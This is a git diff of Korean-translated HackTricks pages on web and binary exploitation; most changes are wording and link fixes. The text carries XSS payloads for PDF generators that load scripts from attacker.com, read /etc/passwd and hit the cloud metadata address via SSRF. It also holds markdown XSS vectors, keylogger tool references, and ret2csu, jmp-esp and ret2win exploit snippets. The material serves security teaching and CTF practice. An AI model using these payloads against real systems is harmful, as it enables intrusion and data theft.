@ -1386,7 +1385,7 @@ body:username.value+':'+this.value
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- 메타스플로잇`http_javascript_keylogger`를 사용할 수도 있습니다.
- 메타스플로잇 `http_javascript_keylogger`도 사용할 수 있습니다.
### CSRF 토큰 훔치기
```javascript
@ -1534,7 +1533,7 @@ pdf-injection.md
AMP는 모바일 장치에서 웹 페이지 성능을 가속화하기 위해 HTML 태그와 JavaScript를 보완하여 기능성을 보장하며 속도와 보안에 중점을 둡니다. 다양한 기능을 위한 여러 구성 요소를 지원하며, [AMP 구성 요소](https://amp.dev/documentation/components/?format=websites)를 통해 접근할 수 있습니다.
[**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 직접 콘텐츠와 상호작용할 수 있도록 합니다.
[**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호작용할 수 있도록 합니다.
예시 [**Gmail의 Amp4Email에서 XSS 작성**](https://adico.me/post/xss-in-gmail-s-amp4email).

View File

@ -4,18 +4,18 @@
## Server Side XSS (Dynamic PDF)
사용자 제어 입력을 사용하여 PDF를 생성하는 웹 페이지가 있는 경우, PDF를 생성하는 **봇을 속여서** **임의의 JS 코드를 실행**하도록 시도할 수 있습니다.\
따라서 **PDF 생성기 봇이** 어떤 종류의 **HTML** **태그**를 찾으면, 이를 **해석**하게 되고, 이 동작을 **악용**하여 **서버 XSS**를 유발할 수 있습니다.
웹 페이지가 사용자 제어 입력을 사용하여 PDF를 생성하는 경우, PDF를 생성하는 봇을 **속여서 임의의 JS 코드를 실행**하도록 시도할 수 있습니다.\
따라서 **PDF 생성기 봇이** 어떤 종류의 **HTML** **태그**를 발견하면, 이를 **해석**하게 되고, 이 동작을 **악용**하여 **서버 XSS**를 유발할 수 있습니다.
`<script></script>` 태그는 항상 작동하지 않으므로, JS를 실행하기 위해 다른 방법이 필요합니다(예: `<img` 악용).\
또한, 일반적인 익스플로잇에서는 생성된 PDF를 **보고/다운로드할 수** 있으므로, JS를 통해 **작성한 모든 것**을 볼 수 있습니다(예: `document.write()` 사용). 그러나 생성된 PDF를 **볼 수 없다면**, 아마도 **웹 요청을 통해 정보를 추출해야** 할 것입니다(블라인드).
`<script></script>` 태그는 항상 작동하지 않으므로, JS를 실행하기 위해 다른 방법이 필요합니다 (예: `<img` 악용).\
또한, 일반적인 익스플로잇에서는 생성된 PDF를 **보고/다운로드할 수** 있으므로, JS를 통해 **작성한 모든 것**을 볼 수 있습니다 (예: `document.write()` 사용). 그러나 생성된 PDF를 **볼 수 없다면**, 아마도 **웹 요청을 통해 정보를 추출해야** 할 것입니다 (Blind).
### 인기 있는 PDF 생성
### Popular PDF generation
- **wkhtmltopdf**는 HTML과 CSS를 PDF 문서로 변환하는 능력으로 알려져 있으며, WebKit 렌더링 엔진을 활용합니다. 이 도구는 오픈 소스 명령줄 유틸리티로 제공되어 다양한 애플리케이션에서 접근할 수 있습니다.
- **TCPDF**는 PDF 생성을 위한 PHP 생태계 내에서 강력한 솔루션을 제공합니다. 이미지, 그래픽 및 암호화를 처리할 수 있어 복잡한 문서를 생성하는 데 유용합니다.
- Node.js 환경에서 작업하는 경우, **PDFKit**이 유효한 옵션을 제공합니다. HTML 및 CSS에서 직접 PDF 문서를 생성할 수 있어 웹 콘텐츠와 인쇄 가능한 형식 간의 다리를 제공합니다.
- Java 개발자는 PDF 생성뿐만 아니라 디지털 서명 및 양식 작성과 같은 고급 기능을 지원하는 **iText** 라이브러리를 선호할 수 있습니다. 포괄적인 기능 세트로 인해 안전하고 상호작용이 가능한 문서를 생성하는 데 적합합니다.
- Java 개발자는 PDF 생성뿐만 아니라 디지털 서명 및 양식 작성과 같은 고급 기능을 지원하는 **iText** 라이브러리를 선호할 수 있습니다. 이 포괄적인 기능 세트는 안전하고 상호작용이 가능한 문서를 생성하는 데 적합합니다.
- **FPDF**는 단순성과 사용 용이성으로 구별되는 또 다른 PHP 라이브러리입니다. 광범위한 기능 없이 PDF 생성을 위한 간단한 접근 방식을 찾는 개발자를 위해 설계되었습니다.
## Payloads
@ -69,9 +69,9 @@ if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```
### 외부 스크립트 로드
### Load an external script
이 취약점을 악용하는 가장 적합한 방법은 취약점을 이용하여 봇이 로컬에서 당신이 제어하는 스크립트를 로드하도록 하는 것입니다. 그러면 로컬에서 페이로드를 변경하고 매번 동일한 코드로 봇이 이를 로드하도록 할 수 있습니다.
이 취약점을 악용하는 가장 적합한 방법은 취약점을 이용하여 봇이 로컬에서 제어하는 스크립트를 로드하도록 만드는 것입니다. 그러면 로컬에서 페이로드를 변경하고 매번 동일한 코드로 봇이 이를 로드하도록 할 수 있습니다.
```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
@ -79,9 +79,9 @@ if not, you will at least have wich path the bot is accessing -->
### 로컬 파일 읽기 / SSRF
> [!WARNING]
> `file:///etc/passwd``http://169.254.169.254/latest/user-data`로 변경하여 **외부 웹 페이지에 접근해 보세요 (SSRF)**.
> `file:///etc/passwd``http://169.254.169.254/latest/user-data`로 변경하여 **외부 웹 페이지에 접근해 보십시오 (SSRF)**.
>
> SSRF가 허용되지만 **흥미로운 도메인이나 IP에 도달할 수 없는 경우**, [이 페이지를 확인하여 우회 방법을 찾아보세요](../ssrf-server-side-request-forgery/url-format-bypass.md).
> SSRF가 허용되지만 **흥미로운 도메인이나 IP에 도달할 수 없는 경우**, [이 페이지에서 잠재적인 우회 방법을 확인하십시오](../ssrf-server-side-request-forgery/url-format-bypass.md).
```markup
<script>
x=new XMLHttpRequest;
@ -145,9 +145,9 @@ checkPort(i);
</script>
<img src="https://attacker.com/startingScan">
```
### [SSRF](../ssrf-server-side-request-forgery/)
### [SSRF](../ssrf-server-side-request-forgery/index.html)
이 취약점은 SSRF로 매우 쉽게 변환될 수 있습니다(스크립트가 외부 리소스를 로드하도록 만들 수 있기 때문입니다). 그러니 이를 이용해 보세요(메타데이터를 읽어보세요?).
이 취약점은 SSRF로 매우 쉽게 변환될 수 있습니다 (스크립트가 외부 리소스를 로드하도록 만들 수 있기 때문입니다). 그러니 이를 이용해 보세요 (메타데이터를 읽어보세요?).
### Attachments: PD4ML
@ -163,7 +163,7 @@ description="attachment sample"
icon="Paperclip" />
</html>
```
## 참고 문헌
## References
- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)

View File

@ -6,7 +6,7 @@
### HTML 태그
마크다운에서 XSS를 얻는 가장 일반적인 방법은 자바스크립트를 실행하는 일반 HTML 태그를 주입하는 것입니다. 여러 마크다운 해석기가 HTML도 용하기 때문입니다.
마크다운에서 XSS를 얻는 가장 일반적인 방법은 자바스크립트를 실행하는 일반 HTML 태그를 주입하는 것입니다. 여러 마크다운 해석기가 HTML도 용하기 때문입니다.
```html
<!-- XSS with regular tags -->
<script>
@ -61,7 +61,7 @@ DOMPurify.sanitize(qs.get("content"))
<div
id="1
![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
-----------------------------------------------
<a
title="a

View File

@ -2,14 +2,14 @@
{{#include ../../../banners/hacktricks-training.md}}
## 기본 정보
## Basic Information
**No-Execute (NX)** 비트는 Intel 용어로 **Execute Disable (XD)**로도 알려져 있으며, **버퍼 오버플로우** 공격의 영향을 **완화**하기 위해 설계된 하드웨어 기반 보안 기능입니다. 구현되고 활성화되면, **실행 가능한 코드**를 위한 메모리 영역과 **데이터**를 위한 메모리 영역(예: **스택** 및 **힙**)을 구분합니다. 핵심 아이디어는 공격자가 버퍼 오버플로우 취약점을 통해 악성 코드를 실행하는 것을 방지하는 것으로, 예를 들어 악성 코드를 스택에 넣고 실행 흐름을 그쪽으로 유도하는 것입니다.
**No-Execute (NX)** 비트는 Intel 용어로 **Execute Disable (XD)**로도 알려져 있으며, **버퍼 오버플로우** 공격의 영향을 **완화**하기 위해 설계된 하드웨어 기반 보안 기능입니다. 구현되고 활성화되면, **실행 가능한 코드**를 위한 메모리 영역과 **데이터**를 위한 영역(예: **스택** 및 **힙**)을 구분합니다. 핵심 아이디어는 공격자가 버퍼 오버플로우 취약점을 통해 악성 코드를 실행하는 것을 방지하는 것으로, 예를 들어 악성 코드를 스택에 넣고 실행 흐름을 그쪽으로 유도하는 것입니다.
## 우회 방법
## Bypasses
- [**ROP**](../stack-overflow/rop-return-oriented-programing.md)와 같은 기술을 사용하여 이 보호 기능을 우회하고 바이너리에 이미 존재하는 실행 가능한 코드 조각을 실행할 수 있습니다.
- [**Ret2libc**](../stack-overflow/ret2libc/)
- [**ROP**](../stack-overflow/rop-return-oriented-programing.md)와 같은 기술을 사용하여 이 보호를 우회할 수 있으며, 이는 이미 바이너리에 존재하는 실행 가능한 코드 조각을 실행하는 것입니다.
- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
- **Ret2...**

View File

@ -4,18 +4,18 @@
## 기본 정보
PIE로 컴파일된 바이너리**위치 독립 실행 파일**을 의미하며, **프로그램이 실행될 때마다 다른 메모리 위치에 로드될 수 있습니다**, 하드코딩된 주소를 방지합니다.
PIE로 컴파일된 바이너리, 즉 **위치 독립 실행 파일**은 **프로그램이 실행될 때마다 다른 메모리 위치에 로드될 수** 있음을 의미하며, 하드코딩된 주소를 방지합니다.
이러한 바이너리를 악용하는 요령은 **상대 주소**를 이용하는 것입니다. 프로그램의 부분 간의 오프셋은 절대 위치가 변경되더라도 동일하게 유지됩니다. **PIE를 우회하려면 하나의 주소를 유출하기만 하면 됩니다**, 일반적으로 **스택**에서 포맷 문자열 공격과 같은 취약점을 사용하여. 주소를 하나 확보하면 **고정 오프셋**을 통해 다른 주소를 계산할 수 있습니다.
이러한 바이너리를 악용하는 요령은 **상대 주소**를 이용하는 것입니다. 프로그램의 부분 간의 오프셋은 절대 위치가 변경되더라도 동일하게 유지됩니다. **PIE를 우회하려면 하나의 주소를 유출하기만 하면 됩니다**, 일반적으로 포맷 문자열 공격과 같은 취약점을 사용하여 **스택**에서 유출합니다. 주소를 하나 확보하면 **고정 오프셋**을 통해 다른 주소를 계산할 수 있습니다.
PIE 바이너리를 악용하는 데 유용한 힌트는 **기본 주소가 일반적으로 000으로 끝난다는 것입니다**, 이는 메모리 페이지가 무작위화의 단위로 0x1000 바이트 크기 때문입니다. 이 정렬은 **익스플로잇이 예상대로 작동하지 않을 경우** 중요한 **확인 사항**이 될 수 있으며, 올바른 기본 주소가 식별되었는지를 나타냅니다.\
또는 익스플로잇에 사용할 수 있습니다. 주소가 **`0x649e1024`**에 위치해 있다고 유출되면, **기본 주소는 `0x649e1000`**임을 알 수 있으며, 거기서부터 함수와 위치의 **오프셋을 계산**할 수 있습니다.
PIE 바이너리를 악용하는 데 유용한 힌트는 그들의 **기본 주소가 일반적으로 000으로 끝난다는 것**입니다. 이는 메모리 페이지가 무작위화의 단위로 0x1000 바이트 크기이기 때문입니다. 이 정렬은 **익스플로잇이 예상대로 작동하지 않을 경우** 중요한 **확인 사항**이 될 수 있으며, 올바른 기본 주소가 식별되었는지를 나타냅니다.\
또는 익스플로잇에 이를 사용할 수 있습니다. 만약 **`0x649e1024`**에 주소가 위치해 있다고 유출되면, **기본 주소는 `0x649e1000`**이라는 것을 알 수 있으며, 거기서 함수와 위치의 **오프셋을 계산**할 수 있습니다.
## 우회 방법
PIE를 우회하려면 **로드된** 바이너리의 주소를 **유출해야** 합니다. 이를 위한 몇 가지 옵션이 있습니다:
PIE를 우회하기 위해서는 **로드된 바이너리의 주소를 유출해야** 합니다. 이를 위한 몇 가지 옵션이 있습니다:
- **ASLR 비활성화**: ASLR이 비활성화되면 PIE로 컴파일된 바이너리는 항상 **같은 주소에 로드됩니다**, 따라서 **PIE는 쓸모가 없게 됩니다**. 객체의 주소는 항상 같은 위치에 있게 됩니다.
- **ASLR 비활성화**: ASLR이 비활성화되면 PIE로 컴파일된 바이너리는 항상 **같은 주소에 로드됩니다**, 따라서 **PIE는 쓸모가 없게 됩니다**. 객체의 주소가 항상 같은 위치에 있기 때문입니다.
- 유출된 주소를 **제공받기** (쉬운 CTF 챌린지에서 일반적, [**이 예시를 확인하세요**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **스택에서 EBP와 EIP 값을 무작위로 시도**하여 올바른 값을 유출할 때까지:
@ -23,7 +23,7 @@ PIE를 우회하려면 **로드된** 바이너리의 주소를 **유출해야**
bypassing-canary-and-pie.md
{{#endref}}
- [**포맷 문자열**](../../format-strings/)과 같은 임의 읽기 취약점을 사용하여 바이너리의 주소를 유출 (예: 이전 기술처럼 스택에서)하여 바이너리의 기본 주소를 얻고 거기서 오프셋을 사용할 수 있습니다. [**여기에서 예시를 찾으세요**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- [**포맷 문자열**](../../format-strings/index.html)과 같은 임의 읽기 취약점을 사용하여 바이너리의 주소를 유출 (예: 이전 기술처럼 스택에서)하여 바이너리의 기본 주소를 얻고 거기서 오프셋을 사용할 수 있습니다. [**여기에서 예시를 찾으세요**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## 참고 자료

View File

@ -1,15 +1,15 @@
# 스택 오버플로우
# Stack Overflow
{{#include ../../../banners/hacktricks-training.md}}
## 스택 오버플로우란 무엇인가
## What is a Stack Overflow
**스택 오버플로우**는 프로그램이 할당된 것보다 더 많은 데이터를 스택에 기록할 때 발생하는 취약점입니다. 이 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 되어 유효한 데이터의 손상, 제어 흐름의 중단, 그리고 잠재적으로 악성 코드의 실행을 초래할 수 있습니다. 이 문제는 종종 입력에 대한 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
A **stack overflow**는 프로그램이 할당된 것보다 더 많은 데이터를 스택에 기록할 때 발생하는 취약점입니다. 이 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 되어 유효한 데이터의 손상, 제어 흐름의 중단, 그리고 잠재적으로 악성 코드의 실행을 초래할 수 있습니다. 이 문제는 종종 입력에 대한 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)**와 **저장된 베이스 포인터 (EBP/RBP)**가 이전 함수로 돌아가기 위해 **스택에 저장**된다는 것입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다.
이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)**와 **저장된 기본 포인터 (EBP/RBP)**가 이전 함수로 돌아가기 위해 **스택에 저장**되기 때문입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다.
취약점은 일반적으로 함수가 **스택에 할당된 양보다 더 많은 바이트를 복사할 때** 발생하여 스택의 다른 부분을 덮어쓸 수 있게 됩니다.\
이와 같은 취약점이 있는 일반적인 함수는: `strcpy`, `strcat`, `sprintf`, `gets`... 또한, 길이 인수를 사용하는 `fgets``read`와 같은 함수는 지정된 길이가 할당된 것보다 클 경우 취약하게 사용될 수 있습니다.
이와 같은 취약 일반적인 함수는: `strcpy`, `strcat`, `sprintf`, `gets`... 또한, 길이 인수를 사용하는 `fgets``read`와 같은 함수는 지정된 길이가 할당된 것보다 클 경우 취약한 방식으로 사용될 수 있습니다.
예를 들어, 다음 함수들이 취약할 수 있습니다:
```c
@ -22,11 +22,11 @@ printf("You entered: %s\n", buffer);
```
### 스택 오버플로우 찾기
스택 오버플로우를 찾는 가장 일반적인 방법은 `A`의 매우 큰 입력을 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는** `Segmentation Fault`를 기대하는 것입니다.
스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 `A` 입력을 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는** 것을 나타내는 `Segmentation Fault`를 기대하는 것입니다.
게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 합니다. 이를 위해 일반적으로 **De Bruijn 시퀀스**가 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **길이 **_**n**_**의 모든 가능한 부분 수열이 정확히 한 번씩 나타나는 순환 시퀀스**입니다.
게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 합니다. 이를 위해 일반적으로 **De Bruijn 수열**이 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **길이 **_**n**_**의 모든 가능한 부분 수열이 정확히 한 번씩 나타나는** **순환 수열**입니다.
이렇게 하면 EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 시퀀스 중 하나를 패딩으로 사용하고, 그것을 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
이렇게 하면 EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 수열 중 하나를 패딩으로 사용하고, 그것을 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
이를 위해 **pwntools**를 사용할 수 있습니다:
```python
@ -52,11 +52,11 @@ pattern search $rsp #Search the offset given the content of $rsp
오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) 스택 내의 지역 변수 값을 덮어쓸 수 있으며, 저장된 EBP/RBP 및 EIP/RIP에 도달할 때까지 계속할 수 있습니다.\
이러한 유형의 취약점을 악용하는 가장 일반적인 방법은 **반환 주소를 수정하는 것**으로, 함수가 끝날 때 **제어 흐름이 사용자가 지정한 위치로 리디렉션됩니다**.
그러나 다른 시나리오에서는 **스택 내의 일부 변수 값을 덮어쓰는 것**만으로도 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지에서).
그러나 다른 시나리오에서는 **스택 내의 일부 변수 값을 덮어쓰는 것만으로도** 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지에서).
### Ret2win
이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 **바이너리 내에 존재하며, 이를 호출해야 승리할 수 있습니다**. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋**을 찾고 **호출할 함수의 주소**를 찾아야 합니다(보통 [**ASLR**](../common-binary-protections-and-bypasses/aslr/)이 비활성화되어 있음) 그래서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 **바이너리 내에 존재하며, 이를 호출해야 승리할 수 있습니다**. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋**을 찾고 **호출할 함수의 주소**를 찾아야 합니다(일반적으로 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 비활성화됨) 그래서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
{{#ref}}
ret2win.md
@ -80,7 +80,7 @@ rop-return-oriented-programing.md
## 보호 유형
취약점 악용을 방지하기 위한 여러 가지 보호 장치가 있으며, 이를 확인할 수 있습니다:
취약점 악용을 방지하기 위한 여러 가지 보호 장치가 있으며, 자세한 내용은 다음을 확인하세요:
{{#ref}}
../common-binary-protections-and-bypasses/

View File

@ -4,7 +4,7 @@
## Basic Information
**ret2csu**는 프로그램을 제어하려고 할 때 사용하는 해킹 기술로, 프로그램의 동작을 조작하는 데 일반적으로 사용하는 **gadgets**를 찾을 수 없을 때 사용됩니다.&#x20;
**ret2csu**는 프로그램을 제어하려고 할 때 일반적으로 프로그램의 동작을 조작하는 데 사용하는 **gadgets**를 찾을 수 없을 때 사용되는 해킹 기술입니다.&#x20;
프로그램이 특정 라이브러리(예: libc)를 사용할 때, 프로그램의 다양한 부분이 서로 통신하는 방식을 관리하기 위한 몇 가지 내장 함수가 있습니다. 이러한 함수 중에는 우리가 잃어버린 gadgets 역할을 할 수 있는 숨겨진 보석들이 있으며, 특히 `__libc_csu_init`이라는 함수가 있습니다.
@ -35,12 +35,12 @@ call qword [r15 + rbx*8];
```
## 예시
시스템 호출을 하거나 `write()`와 같은 함수를 호출하고 싶지만 `rdx``rsi` 레지스터에 특정 값이 필요하다고 가정해 보세요. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾지만, 찾을 수 없습니다.
시스템 호출을 하거나 `write()`와 같은 함수를 호출하고 싶지만 `rdx``rsi` 레지스터에 특정 값이 필요하다고 가정해 보세요. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾지만, 찾을 수 없습니다.
여기서 **ret2csu**가 등장합니다:
1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 꺼내 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), r15에 저장합니다.
2. **두 번째 가젯 사용**: 이러한 레지스터가 설정되면 두 번째 가젯을 사용합니다. 이를 통해 선택한 값을 `rdx``rsi` (각각 r14와 r13에서)로 이동시켜 함수 호출을 위한 매개변수를 준비합니다. 또한, `r15``rbx`를 제어함으로써 프로그램이 계산한 주소에 있는 함수를 호출하도록 만들 수 있습니다. 이 주소는 `[r15 + rbx*8]`에 배치됩니다.
2. **두 번째 가젯 사용**: 이러한 레지스터가 설정되면 두 번째 가젯을 사용합니다. 이를 통해 선택한 값을 `rdx``rsi` (각각 r14와 r13에서)로 이동시켜 함수 호출을 위한 매개변수를 준비합니다. 또한, `r15``rbx`를 제어함으로써 프로그램이 계산한 주소에 있는 함수를 호출하도록 만들 수 있으며, 이 주소는 `[r15 + rbx*8]`에 배치됩니다.
이 기술을 사용한 [**예시와 설명이 여기에 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), 그리고 이것이 사용된 최종 익스플로잇입니다:
```python
@ -71,6 +71,6 @@ print(p.recvline()) # should receive "Awesome work!"
### 왜 libc를 직접 사용하지 않나요?
보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)에 취약하지만, 때때로 libc에서 직접 찾은 가젯으로 쉽게 제어할 수 있는 것보다 더 많은 매개변수를 제어해야 할 필요가 있습니다. 예를 들어, `write()` 함수는 세 개의 매개변수를 필요로 하며, **이 모든 것을 직접 설정할 수 있는 가젯을 찾는 것은 불가능할 수 있습니다**.
보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html)에 취약하지만, 때때로 libc에서 직접 찾은 가젯으로 쉽게 제어할 수 있는 것보다 더 많은 매개변수를 제어해야 할 필요가 있습니다. 예를 들어, `write()` 함수는 세 개의 매개변수를 필요로 하며, **이 모든 것을 직접 설정할 수 있는 가젯을 찾는 것은 불가능할 수 있습니다**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -6,13 +6,13 @@
**ESP(스택 포인터)가 항상 스택의 맨 위를 가리키기 때문에**, 이 기술은 EIP(명령 포인터)를 **`jmp esp`** 또는 **`call esp`** 명령의 주소로 교체하는 것을 포함합니다. 이렇게 하면 셸코드가 덮어쓴 EIP 바로 뒤에 배치됩니다. `ret` 명령이 실행되면 ESP는 다음 주소를 가리키며, 정확히 셸코드가 저장된 위치입니다.
**주소 공간 배치 무작위화(ASLR)**가 Windows 또는 Linux에서 활성화되지 않은 경우, 공유 라이브러리에서 발견된 `jmp esp` 또는 `call esp` 명령을 사용할 수 있습니다. 그러나 [**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 활성화된 경우, 이러한 명령을 찾기 위해 취약한 프로그램 자체를 살펴봐야 할 수도 있습니다(그리고 [**PIE**](../common-binary-protections-and-bypasses/pie/)를 우회해야 할 수도 있습니다).
**주소 공간 배치 무작위화(ASLR)**가 Windows 또는 Linux에서 활성화되지 않은 경우, 공유 라이브러리에서 발견된 `jmp esp` 또는 `call esp` 명령을 사용할 수 있습니다. 그러나 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 활성화된 경우, 이러한 명령을 찾기 위해 취약한 프로그램 자체를 살펴봐야 할 수도 있습니다(그리고 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)를 무력화해야 할 수도 있습니다).
게다가 EIP 손상 이후에 셸코드를 배치할 수 있는 것은, 스택의 중간이 아닌, 함수의 작동 중에 실행되는 `push` 또는 `pop` 명령이 셸코드에 간섭하지 않도록 보장합니다. 셸코드가 함수의 스택 중간에 배치되었다면 이러한 간섭이 발생할 수 있습니다.
게다가 EIP 손상 이후에 셸코드를 배치할 수 있는 것은, 스택의 중간이 아닌, 함수의 작동 중에 실행되는 `push` 또는 `pop` 명령이 셸코드에 간섭하지 않도록 보장합니다. 셸코드가 함수의 스택 중간에 배치되면 이러한 간섭이 발생할 수 있습니다.
### 공간 부족
RIP를 덮어쓴 후에 쓸 공간이 부족한 경우(아마도 몇 바이트 정도), 초기 `jmp` 셸코드를 다음과 같이 작성하십시오:
RIP를 덮어쓴 후에 쓸 공간이 부족한 경우(아마도 몇 바이트 정도), 다음과 같은 초기 `jmp` 셸코드를 작성하십시오:
```armasm
sub rsp, 0x30
jmp rsp
@ -43,7 +43,7 @@ p.interactive()
```
## Ret2reg
유사하게, 함수가 코드가 저장된 주소를 반환하는 경우, **`call eax`** 또는 **`jmp eax`** 명령어(일명 **ret2eax** 기법)를 활용하여 코드를 실행할 수 있는 또 다른 방법을 제공합니다. eax와 마찬가지로, **흥미로운 주소를 포함하는 다른 레지스터**도 사용할 수 있습니다 (**ret2reg**).
유사하게, 함수가 코드가 저장된 주소를 반환하는 경우, **`call eax`** 또는 **`jmp eax`** 명령어(일명 **ret2eax** 기법)를 활용하여 코드를 실행할 수 있는 또 다른 방법을 제공합니다. eax와 마찬가지로, **흥미로운 주소를 포함하는 다른 레지스터**도 사용할 수 있습니다 (**ret2reg**).
### 예시
@ -51,10 +51,10 @@ p.interactive()
## 보호 조치
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 스택이 실행 가능하지 않다면, 코드를 스택에 배치하고 실행하기 위해 점프해야 하므로 도움이 되지 않습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 보호 조치는 esp 또는 다른 레지스터로 점프할 수 있는 명령어를 찾기 어렵게 만들 수 있습니다.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 스택이 실행 가능하지 않다면, 코드를 스택에 배치하고 실행하기 위해 점프해야 하므로 도움이 되지 않습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): 이러한 보호 조치는 esp 또는 다른 레지스터로 점프할 수 있는 명령어를 찾기 어렵게 만들 수 있습니다.
## 참고 문헌
## 참
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)

View File

@ -4,7 +4,7 @@
## Basic Information
**Ret2win** 챌린지는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리로, 특히 **바이너리 익스플로잇**과 관련된 작업에서 그렇습니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내에서 특정 호출되지 않은 함수를 실행하는 것입니다. 이 함수는 보통 `win`, `flag` 등과 같은 이름을 가지고 있습니다. 이 함수가 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 이 챌린지는 일반적으로 스택에서 **리턴 주소**를 덮어써서 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 다음은 예제를 포함한 더 자세한 설명입니다:
**Ret2win** 챌린지는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리로, 특히 **바이너리 익스플로잇**과 관련된 작업에서 그렇습니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내에서 특정 호출되지 않은 함수를 실행하는 것입니다. 이 함수는 보통 `win`, `flag`와 같은 이름을 가집니다. 이 함수가 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 이 챌린지는 일반적으로 스택에서 **리턴 주소**를 덮어써서 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 다음은 예제를 포함한 더 자세한 설명입니다:
### C Example
@ -27,19 +27,19 @@ vulnerable_function();
return 0;
}
```
이 프로그램을 스택 보호 없이 **ASLR**을 비활성화하여 컴파일하려면 다음 명령어를 사용할 수 있습니다:
이 프로그램을 스택 보호 없이 컴파일하고 **ASLR**을 비활성화하려면 다음 명령어를 사용할 수 있습니다:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
